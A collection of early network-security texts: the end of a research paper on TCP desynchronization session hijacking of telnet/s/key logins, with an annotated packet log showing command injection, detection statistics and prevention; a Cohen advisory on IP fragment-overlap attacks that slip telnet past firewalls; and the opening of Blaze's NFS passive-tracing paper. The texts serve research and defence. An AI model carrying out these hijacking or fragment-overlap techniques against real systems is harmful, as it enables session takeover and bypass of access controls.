resets the connection on the server side 11:25:39.015717 35.42.1.146.1098 &gt; 198.108.3.13.23: R 896896101:896896101(0) wi n 0 ## The attacker reopens the connection with an initial sequence number of 601928704 11:25:39.019402 35.42.1.146.1098 &gt; 198.108.3.13.23: S 601928704:601928704(0) wi n 500 ## The server answers with a new initial sequence number (1544640000) a nd the SYN flag. 11:25:39.022078 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## Since the last packet is unacceptable for the client, it acknowledge s it ## with the expected sequence number (1544576001) 11:25:39.022313 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Retransmission to the SYN packet triggered by the unacceptable last packet 11:25:39.023780 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## The ACK storm loop 11:25:39.024009 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.025713 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.026022 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:39.118789 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.119102 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.120812 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.121056 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Eventually the attacker acknowledges the server SYN packet with the attacker's new ## sequence number (601928705). The data in this packet is the one prev iously ## sent by the client but never received. 11:25:39.122371 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928705:601928711(6) ack 1544640001 win 400 255 253 /C 255 251 /X ## Some ACK storm 11:25:39.124254 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.124631 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.126217 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.126632 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:41.261885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928728:601928728(0) ac k 1544640056 win 1000 ## A retransmission by the client 11:25:41.422727 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896018:896896024(6) ack 1544576056 win 4096 255 253 /A 255 252 /A 11:25:41.424108 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:42.323262 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896025:896896025(0) ac k 1544576059 win 4096 11:25:42.324609 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 ## The user ID second character. 11:25:42.325019 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896025:896896026(1) ack 1544576059 win 4096 p 11:25:42.326313 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:43.241191 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928731:601928731(0) ac k 1544640060 win 1000 ## Retransmission 11:25:43.261287 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640059:1544640061(2) ack 601928730 win 4096 l p 11:25:43.261598 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896027:896896027(0) ac k 1544576061 win 4096 [... 11:25:43.294192 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 11:25:43.922438 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896026:896896029(3) ack 1544576061 win 4096 j /M /@ 11:25:43.923964 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 [... 11:25:43.957528 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 ## The attacker rewrites the packet sent by the server containing the s key challenge 11:25:44.495629 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576064:1544576082(18) ack 896896029 win 1000 s / k e y 7 0 c n 3 3 2 8 7 /M /J 11:25:44.502533 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576082:1544576109(27) ack 896896029 win 1000 ( s / k e y r e q u i r e d ) /M /J P a s s w o r d : 11:25:44.522500 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896029:896896029(0) ac k 1544576109 win 4096 [... 11:25:44.558320 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Beginning of the skey password sent by the user (client) 11:25:57.356323 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896029:896896030(1) ack 1544576109 win 4096 T 11:25:57.358220 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 [... 11:25:57.412103 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Echo of the beginning of the skey password sent by the server 11:25:57.412456 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928733:601928734(1) ack 1544640109 win 1000 T 11:25:57.412681 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896030:896896030(0) ac k 1544576109 win 4096 [... 11:25:57.800953 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928734 win 4096 ## The attacker rewrites the skey password packet 11:25:57.801254 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928734:601928762(28) ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R I D /M /@ 11:25:57.801486 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:25:58.358275 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 11:25:58.360109 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640263:1544640278(15) ack 601928762 win 4096 ( l p j @ _ r a d b : 1 ) 11:25:58.360418 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:26:00.919976 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576278 win 4096 ## The 'p' of the 'pwd' command typed by the user. 11:26:01.637187 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896058:896896059(1) ack 1544576278 win 4096 p 11:26:01.638832 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640278:1544640278(0) ack 601928762 win 4096 [... 11:26:03.183200 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:03.921272 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896060:896896063(3) ack 1544576280 win 4096 d /M /@ 11:26:03.922886 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640283:1544640283(0) ack 601928767 win 4096 [... 11:26:04.339186 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.340635 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640288:1544640307(19) ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J 11:26:04.342872 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640307:1544640335(28) ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o u t e * /M /J 11:26:04.345480 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.346791 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640335:1544640351(16) ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J 11:26:04.347094 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.348402 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640351:1544640366(15) ack 601928770 win 4096 ( l p j @ _ r a d b : 2 ) 11:26:04.378571 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 [... 11:26:09.791045 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928773:601928775(2) ack 1544640369 win 1000 t o 11:26:09.794653 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640369:1544640371(2) ack 601928775 win 4096 t o 11:26:09.794885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896068:896896068(0) ac k 1544576366 win 4096 [... 11:26:12.420397 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y /M /@ 11:26:12.422242 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:12.440765 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The 'ry' of the 'history' command sent by the client 11:26:16.420287 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y /M /@ 11:26:16.421801 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:16.483943 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.505773 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928775:601928779(4) ack 1544640371 win 1000 r y /M /@ ## answer to the history command sent by the server. We can notice the 'ls ;' inclusion ## before the 'pwd' 11:26:16.514225 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640371:1544640437(66) ack 601928779 win 4096 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s ; p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /G /@ /@ /@ /X /@ /H 137 148 /@ /@ 11:26:16.514465 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 [... 11:26:16.575344 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.577183 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576368:1544576434(66) ack 896896072 win 1000 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s ; p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H / @ /@ /@ /X /@ /H 137 148 /@ /@ 11:26:16.577490 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640437:1544640437(0) ack 601928779 win 4096 [... ## The user log out. 11:26:20.236907 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928781:601928782(1) ac k 1544640437 win 1000 g 11:26:20.247288 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544576438:1544576438(0) ack 896896074 win 1000 11:26:20.253500 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576435:1544576436(1) ack 896896074 win 1000 o 11:26:20.287513 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640439:1544640440(1) ack 601928782 win 4096 g 11:26:20.287942 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896075:896896076(1) ac k 1544576436 win 4096 o 11:26:20.289312 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640440:1544640440(0) ack 601928782 win 4096 11:26:20.289620 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896076:896896076(0) ac k 1544576436 win 4096 Almost all of the packets with the ACK flag set but with no data are acknowledgement of unacceptable packets. A lot of retransmission occurs due to the load on the network and on the attacker host created by the ACK storm. The real log (including all ACK packets) is about 3000 lines long whereas the one shown here has been stripped to about 100 lines. A lot of packets have also been lost and do not show up in this log. The data collected during the test shows that one real packet sent can generate between 10 and 300 empty Ack packets. Those numbers are of course highly variable. 5. Detection and Side Effects Several flaws of that attack can be used to detect it. Three will be described here but one can imagine some other ways to detect the intrusion. - Desynchronized state detection. By comparing the sequence numbers of both ends of the connection the user can tell if the connection is in the desynchronized state. This method is feasible if we assume that the sequence numbers can be transmitted through the TCP stream without being compromised (changed) by the attacker. Local Ethernet Transit Ethernet Total TCP/s 80-100 (60-80) 1400 (87) Total Ack 25-75 (25-45) 500 (35) Total Telnet 10-20 (10-25) 140 (10) Total Telnet Ack 5-10 (45-55) 45 (33) Table 1: Percentage of ACK packets without the attack. - Ack storm detection. Some statistics on the TCP traffic conducted on our local ethernet segment outside the attack show that the average ratio of ACK without data packets per total telnet packets is around 45%. On a more loaded transit ethernet the average is about 33% (C.f Table 1) The total number of TCP packets as well as the total number of ACK and telnet packets fluctuate a lot on the local ethernet. The table shows the limits. The percentage of ACK telnet packets is very stable, around 45%. This can be explained by the fact that the telnet session is an interactive session and every character typed by the user must be echoed and acknowledged. The volume of exchanged data is very small each packet usually contains one character or one text line. The data for the transit ethernet is very consistent. Due to the high load on that segment a few packets may have been dropped by the collecting host. When the attack is conducted some of these figures change. The next table shows the results for two types of session. The data has been collected on the local ethernet only. In Table 2 the Local connection' is a session with a host at a few IP hops from the client. The Round Trip Delay (RTD) is approximately 3ms and the actual number of hops is 4. The 'Remote connection' is a session with a RTD of about 40ms and 9 hops away. In the first case the attack is clearly visible. Even if it's very fluctuant, the percentage of TCP ACK is near 100%. Almost all of the traffic is acknowledgement packets. In the second case the detection of the attack is less obvious. The data has to be compared with the first column of Table 1 (local traffic). The percentage of TCP ACK slightly increases but not significantly. One can explain this result by the long RTD which decreases the rate of ACK packets sent. The underlying network is also used to experience between a 5% and 10% packet loss which helps in breaking the ACK loop. Local connection Remote connection Total Telnet 80-400 (60-85) 30-40 (30-35) Total Telnet Ack 75-400 (90-99) 20-25 (60-65) Percentage of ACK packets during an attack. - Increase of the packet loss and retransmission for that particular session. Though no data is available to enlighten us on that behavior the log produced during the attack shows an unusually high level of packet loss and so retransmission. Therefore this implies a deterioration of the response time for the user. The packet loss increase is caused by: - The extra load of the network due to the ACK storms. - The packet dropped by the sniffer of the attacker. The drops tend to increase as the load on the network increases. - Some unexpected connection reset. The following behavior has not been fully investigated since the attacker program developed was to try the validity of the concept more than making the attack transparent to the client and server. These are likely to disappear with a more sophisticated attacker program. The user can experience a connection reset of its session at the early stage of the connection if the protocol of the attack is not correctly executed. A loss of the attacker's RST or SYN packets may leave the server side of the connection in a undefined state (usually CLOSED or SYN-RECEIVED) and may make the client packets acceptable. About 10% of the attacks performed were unsuccessful, ending either by a connection close (very visible) or a non-desynchronized connection (the attacker failed to redirect the stream). Some side effects and notes about TCP and the attack. - TCP implementation. The desynchronization process described here failed on certain TCP implementations. According to [rfc793] a RST packet is not acknowledged and just destroys the TCB. Some TCP implementations do when in a certain state acknowledge the RST packet by sending back a RST packet. When the attacker sends the RST packet to the server the RST is sent back to the client which closes its connection and ends the session. Other desynchronization mechanisms may be investigated which do not reset the connection. - The client and the attacker were always on the same ethernet segment when performing the test. This makes the attack more difficult to run because of a high load on that segment. The collision rate increases and the attacker's sniffer buffer are overflowed by the traffic. - One can think of just watching the session and sending some data to the server, without caring about creating the desynchronized state and forwarding the TCP packets. Though it will succeed in corrupting the host that approach is likely to be detected early by the user. Indeed the TCP session will not be able to exchange data once the command sent. 6. Prevention The only ways known by the writer currently available to prevent such an attack on a telnet session are the encrypted Kerberos scheme (application layer) or the TCP crypt implementation [TCPcrypt] (TCP layer). Encryption of the data flow prevents any intrusion or modification of the content. Signature of the data can also be used. [pgp] is an example of an available way to secure electronic mail transmission. 7. Morris' Attack Reviewed Morris' attack as described in [morris85] assumes that the attacker can predict the next initial sequence number used by the server (noted SVR_SEQ_0 in this document) and that the identification scheme is based on trusted hosts (which means only certain hosts are allowed to perform some commands on the server without any other identification process being needed). In this attack the cracker initiates the session by sending a SYN packet to the server using the client (trusted host) as the source address. The server acknowledge the SYN with a SYN/ACK packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets as long as he can predict SVR_SEQ_0 in order to acknowledge it. This attack has two main flaws: - The client whom the attacker masquerades will receive the SYN/ACK packet from the server and then could generate a RST packet to the server since in the client's view no session yet exists. Morris supposes that one can stop the RST generation by either performing the attack when the client is down or by overflowing the client's TCP queue so the SYN/ACK packet will be lost. - The attacker cannot receive data from the server. But he can send data which is sometime enough to compromise a host. The are four principal differences between Morris' attack and the present one: - Morris's relies on the trusted hosts identification scheme whereas the present attack lets the user conduct the identification stage of the connection. - The present attack is a full duplex TCP stream. The attacker can send and receive data. - The present attack uses the ethernet sniffer to predict (or just get) SVR_SEQ_0. - The present attack can be used against any kind of host besides Unix hosts. Morris' attack can easily be extented in regard of the present attack: - The sniffer is used to get the server's initial sequence number. Morris' attack can then be performed against the server. The attacker do not need to wait for a client to connect. - Considering that the client will not send RST packets (for example it is down) the attacker can establish a full duplex TCP connection with the server. It can send data and receive data on behalf of the client. Of course the cracker still has to pass the identification barrier. If the identification is based on trusted hosts (like NFS or rlogin) the cracker has full access to the host's services. Steven M. Bellovin in [bellovin89] also presents how ICMP packets can be used to disable one side of the connection. In this case the attacker gets full control of the session (people have referred to 'TCP session hijacking'), but this is too easily detected by the user. 8. Conclusion Although easy to detect when used on a local network, the attack presented here is quite efficient on long distance, low bandwidth, high delay networks (usually WAN). It can be carried with the same resources as for a passive sniffing attack which have occurred so frequently on the Internet . This attack has also the dangerous advantage of being invisible to the user. While cracking into a host on the Internet is becoming more and more frequent, the stealthfulness of the attack is now a very important parameter for the success of the attack and makes it more difficult to detect. When everybody's attention in the Internet is focused on the emerging new IPv6 protocol to replace the current IPv4, increasing attacks and the need for secure systems press us to develop and use a secure transport layer for the Internet community. Options should be available to send signed and eventually encrypted data to provide privacy. And since the signature of the data implies reliability the signature can be substituted to the current TCP checksum. This paper does not attempt to explain all cases of active attacks using a sniffer. It is more a warning for people using s/key or Kerberos against the danger of someone sniffing the ethernet. It provides a few ideas and starting points which can be more deeply studied. The method presented has been successfully used during our test even with a very simple attacker's software. [Bellovin89] "Security Problems in the TCP/IP Protocol Suite", Bellovin, S., Computer Communications Review, April 1989. [Kerberos] "Kerberos: An Authentication Service for Open Network Systems", Steiner, J., Neuman, C., Schiller, J., USENIX Conference Proceeding, Dallas, Texas, February 1989. [Morris85] "A Weakness in the 4.2BSD UNIX TCP/IP Software", Morris, R., Computing Science Technical Report No 117, ATT Bell Laboratories, Murray Hill, New Jersey, 1985. [PGP] Pretty Good Privacy Version 2.6.1, Philip Zimmermann, August 1994. [RFC 793] Request For Comment 793, Transmission Control Protocol'', September 1981, J. Postel. [RFC 854] Request For Comment 854, `Telnet Protocol Specification'', May 1983, J. Postel, J. Reynolds [SKEY] "The S/Key One-time Password System", Haller, N., Proceeding of the Symposium on Network Distributed Systems, Security, Internet Society, San Diego, CA, February 1994. [TCPcrypt] "Public Key Encryption Support for TCP", Joncheray, L., Work in progress, May 1995. [TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson, Craig Leres, Steven Berkeley, University of California, Berkeley, CA. ___________________________________________________________________________ ___________________________________________________________________________ This is the original text file that I found: TCP packet fragment attacks against firewalls and filters *********************************************************************** ADVISORY: TCP packet fragment attacks against firewalls and filters System: TCP/IP networks Source: http://all.net, Dr. Frederick B. Cohen *********************************************************************** Packet Fragmentation Attacks Introduction to Packet Fragmentation Packet fragmentation is the part of the Internet Protocol (IP) suite of networking protocols that assures that IP datagrams can flow through any other sort of network. (For details, see Internet Request For Comments 791 (rfc791) and are available and searchable in electronic form from Info-Sec heaven on the World-Wide-Web at http://all.net, through gopher service at all.net, or by ftp service from rs.internic.net.) Fragmentation works by allowing datagrams created as a single packet to be split into many smaller packets for transmission and reassembled at the receiving host. Packet fragmentation is necessary because underlying the IP protocol, other physical and or logical protocols are used to transport packets through networks. A good example of this phenomena is on the difference between Ethernet packets (which are limited to 1024 bytes), ATM packets (which are limited to 56 bytes), and IP packets which have variable sizes up to about 1/2 million bytes in length. The only exception to this rule is in the case of an internet datagram marked don't fragment . Any internet datagram marked in this way is supposed to not be fragmented under any circumstances. If internet datagrams marked don't fragment cannot be delivered to their destination without being fragmented, they are supposed to be discarded instead. Of course, this rule doesn't have to be obeyed by the IP software actually processing packets, but it is supposed to be. How Packet Reassembly Attacks Work The packet fragmentation mechanism leads to attacks that bypass many current Internet firewalls, but the reason these attacks work is not because of the way fragmentation is done, but rather because of the way datagrams are reassembled. Datagrams are supposed to be fragmented into packets that leave the header portion of the packet intact except for the modification of the fragmented packet bit and the filling in of an offset field in the IP header that indicates at which byte in the whole datagram the current packet is supposed to start. In reassembly, the IP reassembler creates a temporary packet with the fragmented part of the datagram in place and adds incoming fragments by placing their data fields at the specified offsets within the datagram being reassembled. Once the whole datagram is reassembled, it is processed as if it came in as a single packet. According to the IP specification, fragmented packets are to be reassembled at the receiving host. This presumably means that they are not supposed to be reassembled at intermediate sites such as firewalls or routers. This decision was made presumably to prevent repeated reassembly and refragmentation in intermediate networks. When routers and firewalls followed the rules, they found a peculiar problem. The way firewalls and routers block specific services (such as telnet ) while allowing other services (such as the world wide web http service) is by looking into the IP packet to determine which Transfer Control Protocol (TCP) port is being used. If the port corresponds to 80, the datagram is destined for http service, while port 23 is used for telnet . In normal datagrams, this works fine. But suppose we didn't follow the rules for fragmentation and created improper fragmented packets? Here's what one attacker did: * Create an initial packet which claims to be the first fragment of a multi-packet datagram. Specify TCP port 80 in the TCP header so it looks like a datagram going to http service, which is allowed to pass the firewall. * The firewall passes the packet to the host under attack and passes subsequent packet fragments in order to allow the destination host to reassemble the packet. * One of the subsequent packets has an offset of 0 which causes the reassembler to overwrite the initial part of the IP packet. This is the part of the IP packet that specifies the TCP port. The attacker overwrites the IP port number which was originally 80 with a new port number such as 23, and is now granted telnet access to the host under attack despite the firewall that is supposed to block the service. _________________________________________________________________________ NFS Tracing By Passive Network Monitoring Author: Matt Blaze Department of Computer Science Princeton University mab@cs.princeton.edu ABSTRACT Traces of filesystem activity have proven to be useful for a wide variety of purposes, ranging from quantitative analysis of system behavior to trace-driven simulation of filesystem algorithms. Such traces can be difficult to obtain, however, usually entailing modification of the filesystems to be monitored and runtime overhead for the period of the trace. Largely because of these difficulties, a surprisingly small number of filesystem traces have been conducted, and few sample workloads are available to filesystem researchers. This paper describes a portable toolkit for deriving approximate traces of NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and from the file server. The toolkit uses a promiscuous Ethernet listener interface (such as the Packetfilter[2]) to read and reconstruct NFS-related RPC packets intended for the server. It produces traces of the NFS activity as well as a plausible set of corresponding client system calls. The tool is currently in use at Princeton and other sites, and is available via anonymous ftp. 1. Motivation Traces of real workloads form an important part of virtually all analysis of computer system behavior, whether it is program hot spots, memory access patterns, or filesystem activity that is being studied. In the case of filesystem activity, obtaining useful traces is particularly challenging. Filesystem behavior can span long time periods, often making it necessary to collect huge traces over weeks or even months. Modification of the filesystem to collect trace data is often difficult, and may result in unacceptable runtime overhead. Distributed filesystems exa cerbate these difficulties, especially when the network is composed of a large number of heterogeneous machines. As a result of these difficulties, only a relatively small number of traces of Unix filesystem workloads have been conducted, primarily in computing research environments. [3], [4] and [5] are examples of such traces. Since distributed filesystems work by transmitting their activity over a network, it would seem reasonable to obtain traces of such systems by placing a "tap" on the network and collecting trace data based on the network traffic. Ethernet[6] based networks lend themselves to this approach particularly well, since traffic is broadcast to all machines connected to a given subnetwork. A number of general-purpose network monitoring tools are avail able that "promiscuously" listen to the Ethernet to which they are connected; Sun's etherfind[7] is an example of such a tool. While these tools are useful for observing (and collecting statistics on) specific types of packets, the information they provide is at too low a level to be useful for building filesystem traces. Filesystem operations may span several packets, and may be meaningful only in the context of other, previous operations. Some work has been done on characterizing the impact of NFS traffic on network load. In [8], for example, the results of a study are reported in which Ethernet traffic was monitored and statistics gathered on NFS activity. While useful for understanding traffic patterns and developing a queueing model of NFS loads, these previous stu dies do not use the network traffic to analyze the file access traffic patterns of the system, focusing instead on developing a statistical model of the individual packet sources, destinations, and types. This paper describes a toolkit for collecting traces of NFS file access activity by monitoring Ethernet traffic. A "spy" machine with a promiscuous Ethernet interface is connected to the same network as the file server. Each NFS-related packet is analyzed and a trace is produced at an appropriate level of detail. The tool can record the low level NFS calls themselves or an approximation of the user-level system calls (open, close, etc.) that triggered the activity. We partition the problem of deriving NFS activity from raw network traffic into two fairly distinct subprob lems: that of decoding the low-level NFS operations from the packets on the network, and that of translating these low-level commands back into user-level system calls. Hence, the toolkit consists of two basic parts, an "RPC decoder" (rpcspy) and the "NFS analyzer" (nfstrace). rpcspy communicates with a low-level network monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read and reconstruct the RPC transactions (call and reply) that make up each NFS command. nfstrace takes the output of rpcspy and reconstructs the sys tem calls that occurred as well as other interesting data it can derive about the structure of the filesystem, such as the mappings between NFS file handles and Unix file names. Since there is not a clean one-to-one mapping between system calls and lower-level NFS commands, nfstrace uses some simple heuristics to guess a reasonable approximation of what really occurred. 1.1. A Spy's View of the NFS Protocols It is well beyond the scope of this paper to describe the protocols used by NFS; for a detailed description of how NFS works, the reader is referred to [10], [11], and [12]. What follows is a very brief overview of how NFS activity translates into Ethernet packets. An NFS network consists of servers, to which filesystems are physically connected, and clients, which per form operations on remote server filesystems as if the disks were locally connected. A particular machine can be a client or a server or both. Clients mount remote server filesystems in their local hierarchy just as they do local filesystems; from the user's perspective, files on NFS and local filesystems are (for the most part) indistinguishable, and can be manipulated with the usual filesystem calls. The interface between client and server is defined in terms of 17 remote procedure call (RPC) operations. Remote files (and directories) are referred to by a file handle that uniquely identifies the file to the server. There are operations to read and write bytes of a file (read, write), obtain a file's attributes (getattr), obtain the contents of directories (lookup, readdir), create files (create), and so forth. While most of these operations are direct analogs of Unix system calls, notably absent are open and close operations; no client state information is maintained at the server, so there is no need to inform the server explicitly when a file is in use. Clients can maintain buffer cache entries for NFS files, but must verify that the blocks are still valid (by checking the last write time with the getattr operation) before using the cached data. An RPC transaction consists of a call message (with arguments) from the client to the server and a reply mes sage (with return data) from the server to the client. NFS RPC calls are transmitted using the UDP/IP connection less unreliable datagram protocol[13]. The call message contains a unique transaction identifier which is included in the reply message to enable the client to match the reply with its call. The data in both messages is encoded in an "external data representation" (XDR), which provides a machine-independent standard for byte order, etc. Note that the NFS server maintains no state information about its clients, and knows nothing about the context of each operation outside of the arguments to the operation itself. 2. The rpcspy Program rpcspy is the interface to the system-dependent Ethernet monitoring facility; it produces a trace of the RPC calls issued between a given set of clients and servers. At present, there are versions of rpcspy for a number of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS (with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter). For each RPC transaction monitored, rpcspy produces an ASCII record containing a timestamp, the name of the server, the client, the length of time the command took to execute, the name of the RPC command executed, and the command- specific arguments and return data. Currently, rpcspy understands and can decode the 17 NFS RPC commands, and there are hooks to allow other RPC services (for example, NIS) to be added reasonably easily. The output may be read directly or piped into another program (such as nfstrace) for further analysis; the for mat is designed to be reasonably friendly to both the human reader and other programs (such as nfstrace or awk). Since each RPC transaction consists of two messages, a call and a reply, rpcspy waits until it receives both these components and emits a single record for the entire transaction. The basic output format is 8 vertical-bar separated fields: timestamp | execution-time | server | client | command-name | arguments | reply-data where timestamp is the time the reply message was received, execution-time is the time (in microseconds) that elapsed between the call and reply, server is the name (or IP address) of the server, client is the name (or IP address) of the client followed by the userid that issued the command, command-name is the name of the particular program invoked (read, write, getattr, etc.), and arguments and reply-data are the command dependent arguments and return values passed to and from the RPC program, respectively. The exact format of the argument and reply data is dependent on the specific command issued and the level of detail the user wants logged. For example, a typical NFS command is recorded as follows: 690529992.167140 | 11717 | paramount | merckx.321 | read | {"7b1f00000000083c", 0, 8192} | ok, 1871 In this example, uid 321 at client "merckx" issued an NFS read command to server "paramount". The reply was issued at (Unix time) 690529992.167140 seconds; the call command occurred 11717 microseconds earlier. Three arguments are logged for the read call: the file handle from which to read (represented as a hexadecimal string), the offset from the beginning of the file, and the number of bytes to read. In this example, 8192 bytes are requested starting at the beginning (byte 0) of the file whose handle is "7b1f00000000083c". The command completed successfully (status "ok"), and 1871 bytes were returned. Of course, the reply message also included the 1871 bytes of data from the file, but that field of the reply is not logged by rpcspy. rpcspy has a number of configuration options to control which hosts and RPC commands are traced, which call and reply fields are printed, which Ethernet interfaces are tapped, how long to wait for reply messages, how long to run, etc. While its primary function is to provide input for the nfstrace program (see Section 3), judi cious use of these options (as well as such programs as grep, awk, etc.) permit its use as a simple NFS diag nostic and performance monitoring tool. A few screens of output give a surprisingly informative snapshot of current NFS activity; we have identified quickly using the program several problems that were otherwise difficult to pinpoint. Similarly, a short awk script can provide a breakdown of the most active clients, servers, and hosts over a sampled time period. 2.1. Implementation Issues The basic function of rpcspy is to monitor the network, extract those packets containing NFS data, and print the data in a useful format. Since each RPC transaction consists of a call and a reply, rpcspy maintains a table of pending call packets that are removed and emitted when the matching reply arrives. In normal operation on a reasonably fast workstation, this rarely requires more than about two megabytes of memory, even on a busy net work with unusually slow file servers. Should a server go down, however, the queue of pending call messages (which are never matched with a reply) can quickly become a memory hog; the user can specify a maximum size the table is allowed to reach before these "orphaned" calls are searched out and reclaimed. File handles pose special problems. While all NFS file handles are a fixed size, the number of significant bits varies from implementation to implementation; even within a vendor, two different 